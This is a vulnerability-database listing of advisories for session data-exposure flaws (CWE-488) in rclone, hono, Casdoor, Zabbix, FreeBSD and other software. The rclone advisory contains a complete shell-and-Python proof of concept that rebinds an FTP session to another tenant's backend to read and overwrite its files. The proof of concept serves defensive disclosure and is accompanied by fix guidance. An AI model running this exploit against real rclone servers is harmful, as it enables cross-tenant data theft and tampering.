CWE-488
AllowedExposure of Data Element to Wrong Session
Abstraction: Base · Status: Draft
The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.
72 vulnerabilities reference this CWE, most recent first.
GHSA-C3C3-3XH6-R623
Vulnerability from github – Published: 2025-03-25 18:30 – Updated: 2025-03-25 18:30A flaw was found in cifs-utils. When trying to obtain Kerberos credentials, the cifs.upcall program from the cifs-utils package makes an upcall to the wrong namespace in containerized environments. This issue may lead to disclosing sensitive data from the host's Kerberos credentials cache.
{
"affected": [],
"aliases": [
"CVE-2025-2312"
],
"database_specific": {
"cwe_ids": [
"CWE-488"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-25T18:15:34Z",
"severity": "MODERATE"
},
"details": "A flaw was found in cifs-utils. When trying to obtain Kerberos credentials, the cifs.upcall program from the cifs-utils package makes an upcall to the wrong namespace in containerized environments. This issue may lead to disclosing sensitive data from the host\u0027s Kerberos credentials cache.",
"id": "GHSA-c3c3-3xh6-r623",
"modified": "2025-03-25T18:30:54Z",
"published": "2025-03-25T18:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2312"
},
{
"type": "WEB",
"url": "https://git.samba.org/?p=cifs-utils.git;a=commit;h=89b679228cc1be9739d54203d28289b03352c174"
},
{
"type": "WEB",
"url": "https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/fs/smb?id=db363b0a1d9e6b9dc556296f1b1007aeb496a8cf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C476-6W5Q-JW77
Vulnerability from github – Published: 2026-09-10 22:46 – Updated: 2026-09-10 22:46Summary
The FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session's password and execute against the later session's backend.
This is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker's session remains open. The behavior is nevertheless within the supported model: cmd/serve/proxy keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.
Confirmed affected versions are v1.75.0 and development commit 5629f2668c69149bf3d9d8e2a25bb32a2648606e. The username-global map was introduced in v1.64.0, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.
Affected Assets & Attack Surface
cmd/serve/ftp/ftp.go:170-178definesuserPass map[string]stringas driver-global state keyed only by username.cmd/serve/ftp/ftp.go:318-335validates(user, pass)through the proxy and then overwritesd.userPass[user].cmd/serve/ftp/ftp.go:352-373retrieves the current map entry bySess.LoginUser()for every filesystem operation and calls the proxy again with that password.cmd/serve/ftp/ftp.go:376onward routes FTP filesystem operations throughgetVFS, including stat, listing, retrieval, upload, rename, and deletion.cmd/serve/proxy/proxy.go:114-119documents credential- and client-IP-aware backend caching.cmd/serve/proxy/proxy.go:235-243derives a cache key from username, credential, and client IP.cmd/serve/proxy/proxy.go:328-365resolves and verifies the VFS using that composite identity.- Attack surface: any
rclone serve ftp --auth-proxy ...deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.
Technical Root Cause Analysis
Authentication initially uses the correct session data:
d.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())
After success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:
d.userPass[user] = oPass
For each later FTP operation, getVFS knows only the session's username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.
The authorization sequence is therefore:
- Session A authenticates as
sharedwith credential A and receives backend A. - Session B authenticates as
sharedwith credential B and overwritesuserPass["shared"]. - Session A performs another FTP command.
getVFSuses credential B, not the credential that authenticated Session A.- The proxy returns backend B, and Session A's command runs there.
This creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.
Proof of Concept & Evidence
Create two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:
mkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim
printf 'attacker-only\n' > /tmp/rclone-ftp-attacker/attacker.txt
printf 'victim-secret\n' > /tmp/rclone-ftp-victim/victim.txt
cat > /tmp/rclone-ftp-proxy.py <<'PY'
#!/usr/bin/env python3
import json
import sys
request = json.load(sys.stdin)
roots = {
"attacker-token": "/tmp/rclone-ftp-attacker",
"victim-token": "/tmp/rclone-ftp-victim",
}
if request.get("user") != "shared" or request.get("pass") not in roots:
sys.exit(1)
print(json.dumps({
"type": "local",
"_root": roots[request["pass"]],
}))
PY
chmod 700 /tmp/rclone-ftp-proxy.py
Start the FTP server on loopback:
./rclone serve ftp \
--auth-proxy "python3 /tmp/rclone-ftp-proxy.py" \
--addr 127.0.0.1:2121 \
--passive-port 30000-30010
In another terminal, keep both sessions open and trigger the overwrite:
python3 - <<'PY'
import ftplib
import io
def connect(password):
ftp = ftplib.FTP()
ftp.connect("127.0.0.1", 2121, timeout=5)
ftp.login("shared", password)
return ftp
attacker = connect("attacker-token")
# Establish the attacker's original authority.
original = bytearray()
attacker.retrbinary("RETR attacker.txt", original.extend)
assert original == b"attacker-only\n"
try:
attacker.size("victim.txt")
raise AssertionError("victim file unexpectedly visible before overwrite")
except ftplib.error_perm:
pass
# A second principal logs in with the same username and a different token.
victim = connect("victim-token")
assert victim.size("victim.txt") > 0
# The first session is now silently rebound to the victim backend.
stolen = bytearray()
attacker.retrbinary("RETR victim.txt", stolen.extend)
print(stolen.decode().strip())
attacker.storbinary("STOR victim.txt", io.BytesIO(b"modified-by-first-session\n"))
attacker.quit()
victim.quit()
PY
grep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt
Observed against 5629f2668c69149bf3d9d8e2a25bb32a2648606e:
- Before the victim login, the attacker session resolves only the attacker root.
- After the victim login, the already-authenticated attacker session reads
victim.txt. - A write through the attacker session overwrites the file in the victim root.
The complete automated validation used the actual FTP listener, two simultaneous github.com/jlaffaye/ftp clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that victim.txt was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:
=== RUN TestSecurityValidationFTPAuthProxyCrossSession
--- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)
Both PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.
Impact Assessment
A low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential's VFS without authenticating with that credential.
The maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.
This is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.
Remediation Guidance
Bind the credential or backend identity to the FTP session, never to the username. goftp.io/server/v2 exposes sctx.Sess.Data, which persists across commands for one session and is released with that session.
A compatible fix is:
- On successful
CheckPasswd, store a private session binding insctx.Sess.Data. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry. - In
getVFS, retrieve only that session binding. Never consult a driver-global username map. - If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive.
- Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session's obscured credential and re-calling
Proxy.Callretains current expiry behavior while maintaining identity. - Remove
userPass,userPassMu, and the associated global credential lifetime after the session-based path is in place.
Avoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes Session.Data unsuitable, use the *ftp.Session pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.75.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/rclone/rclone"
},
"ranges": [
{
"events": [
{
"introduced": "1.64.0"
},
{
"fixed": "1.75.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-88017"
],
"database_specific": {
"cwe_ids": [
"CWE-488"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-10T22:46:33Z",
"nvd_published_at": "2026-09-10T16:18:08Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe FTP auth-proxy driver stores one obscured password per username in a server-wide map. It does not bind the credential or returned VFS to the authenticated FTP session. If two accepted credentials use the same username but resolve to different proxy backends, the later login overwrites the map entry. Subsequent operations on the first, still-authenticated session are re-authorized with the later session\u0027s password and execute against the later session\u0027s backend.\n\nThis is not exploitable in every auth-proxy deployment. It requires a proxy that accepts distinct credentials for the same username and returns different roots or backend configurations, plus a later login while the attacker\u0027s session remains open. The behavior is nevertheless within the supported model: `cmd/serve/proxy` keys VFS entries by username, authentication material, and client IP specifically so a new credential can produce a fresh backend.\n\nConfirmed affected versions are `v1.75.0` and development commit `5629f2668c69149bf3d9d8e2a25bb32a2648606e`. The username-global map was introduced in `v1.64.0`, but versions before credential-aware proxy caching may require cache expiration or different timing and are not claimed as confirmed here.\n\n## Affected Assets \u0026 Attack Surface\n\n- `cmd/serve/ftp/ftp.go:170-178` defines `userPass map[string]string` as driver-global state keyed only by username.\n- `cmd/serve/ftp/ftp.go:318-335` validates `(user, pass)` through the proxy and then overwrites `d.userPass[user]`.\n- `cmd/serve/ftp/ftp.go:352-373` retrieves the current map entry by `Sess.LoginUser()` for every filesystem operation and calls the proxy again with that password.\n- `cmd/serve/ftp/ftp.go:376` onward routes FTP filesystem operations through `getVFS`, including stat, listing, retrieval, upload, rename, and deletion.\n- `cmd/serve/proxy/proxy.go:114-119` documents credential- and client-IP-aware backend caching.\n- `cmd/serve/proxy/proxy.go:235-243` derives a cache key from username, credential, and client IP.\n- `cmd/serve/proxy/proxy.go:328-365` resolves and verifies the VFS using that composite identity.\n- Attack surface: any `rclone serve ftp --auth-proxy ...` deployment in which the proxy accepts more than one credential for a shared username and those credentials do not have equivalent backend authority.\n\n## Technical Root Cause Analysis\n\nAuthentication initially uses the correct session data:\n\n```go\nd.proxy.Call(user, pass, false, sctx.Sess.RemoteAddr().String())\n```\n\nAfter success, the driver discards the returned VFS and VFS cache key. It obscures the password and stores it in:\n\n```go\nd.userPass[user] = oPass\n```\n\nFor each later FTP operation, `getVFS` knows only the session\u0027s username. It looks up whichever password was most recently stored for that username and calls the proxy again. The mutex prevents a Go data race but does not provide session isolation.\n\nThe authorization sequence is therefore:\n\n1. Session A authenticates as `shared` with credential A and receives backend A.\n2. Session B authenticates as `shared` with credential B and overwrites `userPass[\"shared\"]`.\n3. Session A performs another FTP command.\n4. `getVFS` uses credential B, not the credential that authenticated Session A.\n5. The proxy returns backend B, and Session A\u0027s command runs there.\n\nThis creates a cross-session identity mismatch; no race condition is required. Credential-dependent routing is not an artificial assumption added by the PoC: the proxy cache deliberately distinguishes the same username with different authentication material. A proxy that maps username alone, rejects all concurrent alternate credentials, or binds credentials to client IP in a way that rejects the replay is not exploitable by this sequence.\n\n## Proof of Concept \u0026 Evidence\n\nCreate two roots and a proxy that uses the password as a tenant token while requiring the same FTP username:\n\n```sh\nmkdir -p /tmp/rclone-ftp-attacker /tmp/rclone-ftp-victim\nprintf \u0027attacker-only\\n\u0027 \u003e /tmp/rclone-ftp-attacker/attacker.txt\nprintf \u0027victim-secret\\n\u0027 \u003e /tmp/rclone-ftp-victim/victim.txt\n\ncat \u003e /tmp/rclone-ftp-proxy.py \u003c\u003c\u0027PY\u0027\n#!/usr/bin/env python3\nimport json\nimport sys\n\nrequest = json.load(sys.stdin)\nroots = {\n \"attacker-token\": \"/tmp/rclone-ftp-attacker\",\n \"victim-token\": \"/tmp/rclone-ftp-victim\",\n}\n\nif request.get(\"user\") != \"shared\" or request.get(\"pass\") not in roots:\n sys.exit(1)\n\nprint(json.dumps({\n \"type\": \"local\",\n \"_root\": roots[request[\"pass\"]],\n}))\nPY\nchmod 700 /tmp/rclone-ftp-proxy.py\n```\n\nStart the FTP server on loopback:\n\n```sh\n./rclone serve ftp \\\n --auth-proxy \"python3 /tmp/rclone-ftp-proxy.py\" \\\n --addr 127.0.0.1:2121 \\\n --passive-port 30000-30010\n```\n\nIn another terminal, keep both sessions open and trigger the overwrite:\n\n```sh\npython3 - \u003c\u003c\u0027PY\u0027\nimport ftplib\nimport io\n\ndef connect(password):\n ftp = ftplib.FTP()\n ftp.connect(\"127.0.0.1\", 2121, timeout=5)\n ftp.login(\"shared\", password)\n return ftp\n\nattacker = connect(\"attacker-token\")\n\n# Establish the attacker\u0027s original authority.\noriginal = bytearray()\nattacker.retrbinary(\"RETR attacker.txt\", original.extend)\nassert original == b\"attacker-only\\n\"\n\ntry:\n attacker.size(\"victim.txt\")\n raise AssertionError(\"victim file unexpectedly visible before overwrite\")\nexcept ftplib.error_perm:\n pass\n\n# A second principal logs in with the same username and a different token.\nvictim = connect(\"victim-token\")\nassert victim.size(\"victim.txt\") \u003e 0\n\n# The first session is now silently rebound to the victim backend.\nstolen = bytearray()\nattacker.retrbinary(\"RETR victim.txt\", stolen.extend)\nprint(stolen.decode().strip())\nattacker.storbinary(\"STOR victim.txt\", io.BytesIO(b\"modified-by-first-session\\n\"))\n\nattacker.quit()\nvictim.quit()\nPY\n\ngrep -F modified-by-first-session /tmp/rclone-ftp-victim/victim.txt\n```\n\nObserved against `5629f2668c69149bf3d9d8e2a25bb32a2648606e`:\n\n- Before the victim login, the attacker session resolves only the attacker root.\n- After the victim login, the already-authenticated attacker session reads `victim.txt`.\n- A write through the attacker session overwrites the file in the victim root.\n\nThe complete automated validation used the actual FTP listener, two simultaneous `github.com/jlaffaye/ftp` clients, and an external auth-proxy process that mapped the two tokens to separate temporary local roots. It verified the precondition that `victim.txt` was unavailable to the first session before the second login, then verified both cross-root read and overwrite after the login. It passed on Windows/amd64 with Go 1.26.2:\n\n```text\n=== RUN TestSecurityValidationFTPAuthProxyCrossSession\n--- PASS: TestSecurityValidationFTPAuthProxyCrossSession (2.11s)\n```\n\nBoth PoC sessions use loopback, so they have the same client IP and the test isolates the credential-keying defect. Across different client IPs, the issue remains reachable when the proxy does not bind credentials to source addresses. If the proxy enforces such a binding, replay of the victim credential may fail and that deployment is not exploitable by this sequence.\n\n## Impact Assessment\n\nA low-privileged user with a valid auth-proxy credential can gain the read, write, and delete authority of another accepted credential sharing the same FTP username. The unauthorized capability is direct: the first session operates on the second credential\u0027s VFS without authenticating with that credential.\n\nThe maximum impact is cross-tenant disclosure, modification, and deletion of all objects exposed by the victim backend. Actual severity is lower when all credentials for a username intentionally represent the same principal and equivalent root. The victim or an automated client must log in after the attacker, and the attacker must keep the original FTP session open.\n\nThis is not a generic FTP username-enumeration issue and does not give an unauthenticated party access. It is a session-isolation failure in auth-proxy mode.\n\n## Remediation Guidance\n\nBind the credential or backend identity to the FTP session, never to the username. `goftp.io/server/v2` exposes `sctx.Sess.Data`, which persists across commands for one session and is released with that session.\n\nA compatible fix is:\n\n1. On successful `CheckPasswd`, store a private session binding in `sctx.Sess.Data`. The binding can contain the obscured password and username, or another opaque value sufficient to resolve the same proxy entry.\n2. In `getVFS`, retrieve only that session binding. Never consult a driver-global username map.\n3. If re-authentication occurs on the same FTP session, replace the binding only after the new authentication succeeds; clear it on a failed authentication attempt where the library keeps the session alive.\n4. Preserve proxy cache expiry semantics. Holding a VFS pointer forever would prevent the existing cache from expiring it; storing the session\u0027s obscured credential and re-calling `Proxy.Call` retains current expiry behavior while maintaining identity.\n5. Remove `userPass`, `userPassMu`, and the associated global credential lifetime after the session-based path is in place.\n\nAvoid keying a replacement map by remote address, username, or client IP. Multiple sessions can share all of those values. If a library limitation makes `Session.Data` unsuitable, use the `*ftp.Session` pointer as the key and add reliable disconnect cleanup; session-owned state is preferable because cleanup is automatic.",
"id": "GHSA-c476-6w5q-jw77",
"modified": "2026-09-10T22:46:33Z",
"published": "2026-09-10T22:46:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/security/advisories/GHSA-c476-6w5q-jw77"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88017"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/commit/c6af0b57c2b4af848bc968c2b407354476184b99"
},
{
"type": "PACKAGE",
"url": "https://github.com/rclone/rclone"
},
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/releases/tag/v1.75.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "rclone: FTP cross-session auth-proxy backend confusion"
}
GHSA-CJP9-H6X7-98P3
Vulnerability from github – Published: 2025-03-26 21:31 – Updated: 2025-03-27 15:31An issue was discovered in OPC cardsystems Webapp Aufwertung 2.1.0. The reference assigned to transactions can be reused. When completing a payment, the first or all transactions with the same reference are completed, depending on timing. This can be used to transfer more money onto employee cards than is paid.
{
"affected": [],
"aliases": [
"CVE-2025-30073"
],
"database_specific": {
"cwe_ids": [
"CWE-488"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-26T20:15:22Z",
"severity": "HIGH"
},
"details": "An issue was discovered in OPC cardsystems Webapp Aufwertung 2.1.0. The reference assigned to transactions can be reused. When completing a payment, the first or all transactions with the same reference are completed, depending on timing. This can be used to transfer more money onto employee cards than is paid.",
"id": "GHSA-cjp9-h6x7-98p3",
"modified": "2025-03-27T15:31:06Z",
"published": "2025-03-26T21:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30073"
},
{
"type": "WEB",
"url": "https://www.syss.de/pentest-blog/businesslogik-fehler-bei-aufwertung-von-geldkarten-in-opcr-webapp-aufwertung-syss-2024-089"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F23P-VX2J-J53R
Vulnerability from github – Published: 2026-08-07 18:42 – Updated: 2026-08-07 18:42Summary
memo() from hono/jsx retains the result of a server-side render and reuses it for later renders with comparator-equal props. Request-scoped values read inside the component take no part in that comparison, so a response can contain HTML rendered for another user's request.
Details
Components wrapped with memo() are compared by props alone. Values read implicitly during rendering do not participate: JSX Context through createContext() and useContext(), useRequestContext() from hono/jsx-renderer, and getContext() from hono/context-storage. The retained result lives as long as the wrapped component, so it outlives the request that produced it.
Per-request context isolation is not what fails: the current request's values are established correctly, but the memoized component is skipped before anything reads them.
This issue arises when a component wrapped in memo() obtains user- or request-specific data from an ambient context instead of through props.
Impact
A user may receive a response containing HTML rendered for another user, when both render the same memoized component with comparator-equal props on the same warm instance.
This may lead to:
- Disclosure of another user's account or profile data
- Disclosure of request-scoped secrets embedded in HTML, such as CSRF tokens
- Exposure of role-specific content to users who should not receive it
Exploitation depends on the order in which renders populate the retained value and on both requests reaching the same warm instance.
This issue affects applications that render with hono/jsx on the server and wrap a component reading ambient request state in memo(). Applications that pass all request-specific values through props, or that do not use memo(), are unaffected. Client-side rendering is unaffected.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "3.8.0"
},
{
"fixed": "4.12.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-71850"
],
"database_specific": {
"cwe_ids": [
"CWE-488"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-07T18:42:01Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`memo()` from `hono/jsx` retains the result of a server-side render and reuses it for later renders with comparator-equal props. Request-scoped values read inside the component take no part in that comparison, so a response can contain HTML rendered for another user\u0027s request.\n\n### Details\n\nComponents wrapped with `memo()` are compared by props alone. Values read implicitly during rendering do not participate: JSX Context through `createContext()` and `useContext()`, `useRequestContext()` from `hono/jsx-renderer`, and `getContext()` from `hono/context-storage`. The retained result lives as long as the wrapped component, so it outlives the request that produced it.\n\nPer-request context isolation is not what fails: the current request\u0027s values are established correctly, but the memoized component is skipped before anything reads them.\n\nThis issue arises when a component wrapped in `memo()` obtains user- or request-specific data from an ambient context instead of through props.\n\n### Impact\n\nA user may receive a response containing HTML rendered for another user, when both render the same memoized component with comparator-equal props on the same warm instance.\n\nThis may lead to:\n\n- Disclosure of another user\u0027s account or profile data\n- Disclosure of request-scoped secrets embedded in HTML, such as CSRF tokens\n- Exposure of role-specific content to users who should not receive it\n\nExploitation depends on the order in which renders populate the retained value and on both requests reaching the same warm instance.\n\nThis issue affects applications that render with `hono/jsx` on the server and wrap a component reading ambient request state in `memo()`. Applications that pass all request-specific values through props, or that do not use `memo()`, are unaffected. Client-side rendering is unaffected.",
"id": "GHSA-f23p-vx2j-j53r",
"modified": "2026-08-07T18:42:01Z",
"published": "2026-08-07T18:42:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-f23p-vx2j-j53r"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/0c45036d6b0ddf42ab2fa44639dc8710825d5c0f"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/releases/tag/v4.12.34"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono: `memo()` retains SSR output across requests, leading to cross-user data disclosure"
}
GHSA-H546-6X4H-W6Q7
Vulnerability from github – Published: 2025-10-22 18:30 – Updated: 2026-04-24 00:31Software which sets SO_REUSEPORT_LB on a socket and then connects it to a host will not directly observe any problems. However, due to its membership in a load-balancing group, that socket will receive packets originating from any host. This breaks the contract of the connect(2) and implied connect via sendto(2), and may leave the application vulnerable to spoofing attacks.
The kernel failed to check the connection state of sockets when adding them to load-balancing groups. Furthermore, when looking up the destination socket for an incoming packet, the kernel will match a socket belonging to a load-balancing group even if it is connected, in violation of the contract that connected sockets are only supposed to receive packets originating from the connected host.
{
"affected": [],
"aliases": [
"CVE-2025-24934"
],
"database_specific": {
"cwe_ids": [
"CWE-488"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-22T18:15:34Z",
"severity": "MODERATE"
},
"details": "Software which sets SO_REUSEPORT_LB on a socket and then connects it to a host will not directly observe any problems. However, due to its membership in a load-balancing group, that socket will receive packets originating from any host. This breaks the contract of the connect(2) and implied connect via sendto(2), and may leave the application vulnerable to spoofing attacks.\n\n\n\n\nThe kernel failed to check the connection state of sockets when adding them to load-balancing groups. Furthermore, when looking up the destination socket for an incoming packet, the kernel will match a socket belonging to a load-balancing group even if it is connected, in violation of the contract that connected sockets\u00a0are only supposed to receive packets originating from the connected host.",
"id": "GHSA-h546-6x4h-w6q7",
"modified": "2026-04-24T00:31:50Z",
"published": "2025-10-22T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24934"
},
{
"type": "WEB",
"url": "https://security.freebsd.org/advisories/FreeBSD-SA-25:09.netinet.asc"
},
{
"type": "WEB",
"url": "https://www.usenix.org/system/files/conference/usenixsecurity26/sec26_prepub_ben-simhon.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H55G-WW3M-9HQ9
Vulnerability from github – Published: 2026-03-24 21:31 – Updated: 2026-03-24 21:31For performance reasons Zabbix Server/Proxy reuses JavaScript (Duktape) contexts (used in script items, JavaScript reprocessing, Webhooks). This can lead to confidentiality loss where a regular (non-super) Zabbix administrator leaks data for hosts they do not have access to. A fix has been released that makes the built in Zabbix JavaScript objects read-only, but please be advised that usage of global JavaScript variables is not recommended because their content could be leaked. More information in Zabbix documentation.
{
"affected": [],
"aliases": [
"CVE-2026-23919"
],
"database_specific": {
"cwe_ids": [
"CWE-488"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-24T19:16:49Z",
"severity": "HIGH"
},
"details": "For performance reasons Zabbix Server/Proxy reuses JavaScript (Duktape) contexts (used in script items, JavaScript reprocessing, Webhooks). This can lead to confidentiality loss where a regular (non-super) Zabbix administrator leaks data for hosts they do not have access to. A fix has been released that makes the built in Zabbix JavaScript objects read-only, but please be advised that usage of global JavaScript variables is not recommended because their content could be leaked. More information \u003ca href=\u0027https://www.zabbix.com/documentation/7.4/en/manual/installation/known_issues#preprocessing-global-variables-are-unsafe\u0027\u003ein Zabbix documentation\u003c/a\u003e.",
"id": "GHSA-h55g-ww3m-9hq9",
"modified": "2026-03-24T21:31:23Z",
"published": "2026-03-24T21:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23919"
},
{
"type": "WEB",
"url": "https://support.zabbix.com/browse/ZBX-27638"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:P/PR:H/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HM8W-PXCF-MJ62
Vulnerability from github – Published: 2023-05-10 15:30 – Updated: 2024-04-04 03:59Exposure of data element to wrong session in the Intel DCM software before version 5.0.1 may allow an authenticated user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2022-40210"
],
"database_specific": {
"cwe_ids": [
"CWE-488",
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-10T14:15:14Z",
"severity": "HIGH"
},
"details": "Exposure of data element to wrong session in the Intel DCM software before version 5.0.1 may allow an authenticated user to potentially enable escalation of privilege via local access.",
"id": "GHSA-hm8w-pxcf-mj62",
"modified": "2024-04-04T03:59:29Z",
"published": "2023-05-10T15:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40210"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00772.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MFVP-7P3V-X9MH
Vulnerability from github – Published: 2026-05-28 18:30 – Updated: 2026-07-02 18:37In Casdoor versions 2.362.0 and earlier, the SAML callback handler in controllers/auth.go accepts any well-formed SAMLResponse sent to /api/acs without verifying that it corresponds to an AuthnRequest previously issued by Casdoor. Additionally, if an administrator disables or deletes an IdP (Identity Provider) after a SAML flow has started, the handler still processes the response using the provider snapshot loaded at the start of the request. As a result, an attacker controlling a registered upstream IdP can send unsolicited SAML responses, or replay a legitimately captured response in a different session or after the original flow has ended. In both cases, Casdoor accepts the response and issues a session, enabling persistent unauthorized access.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/casdoor/casdoor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1000.1-0.20260321120606-239e8bd69487"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-9098"
],
"database_specific": {
"cwe_ids": [
"CWE-488"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T18:37:59Z",
"nvd_published_at": "2026-05-28T17:16:34Z",
"severity": "CRITICAL"
},
"details": "In Casdoor versions 2.362.0 and earlier, the SAML callback handler in controllers/auth.go accepts any well-formed SAMLResponse sent to /api/acs without verifying that it corresponds to an AuthnRequest previously issued by Casdoor. Additionally, if an administrator disables or deletes an IdP (Identity Provider) after a SAML flow has started, the handler still processes the response using the provider snapshot loaded at the start of the request. As a result, an attacker controlling a registered upstream IdP can send unsolicited SAML responses, or replay a legitimately captured response in a different session or after the original flow has ended. In both cases, Casdoor accepts the response and issues a session, enabling persistent unauthorized access.",
"id": "GHSA-mfvp-7p3v-x9mh",
"modified": "2026-07-02T18:37:59Z",
"published": "2026-05-28T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9098"
},
{
"type": "PACKAGE",
"url": "https://github.com/casdoor/casdoor"
},
{
"type": "WEB",
"url": "https://kb.cert.org/vuls/id/780781"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Casdoor SAML callback handler accepts any well-formed SAMLResponse sent to /api/acs without verifying that it corresponds to an AuthnRequest"
}
GHSA-P4RQ-VWGG-386F
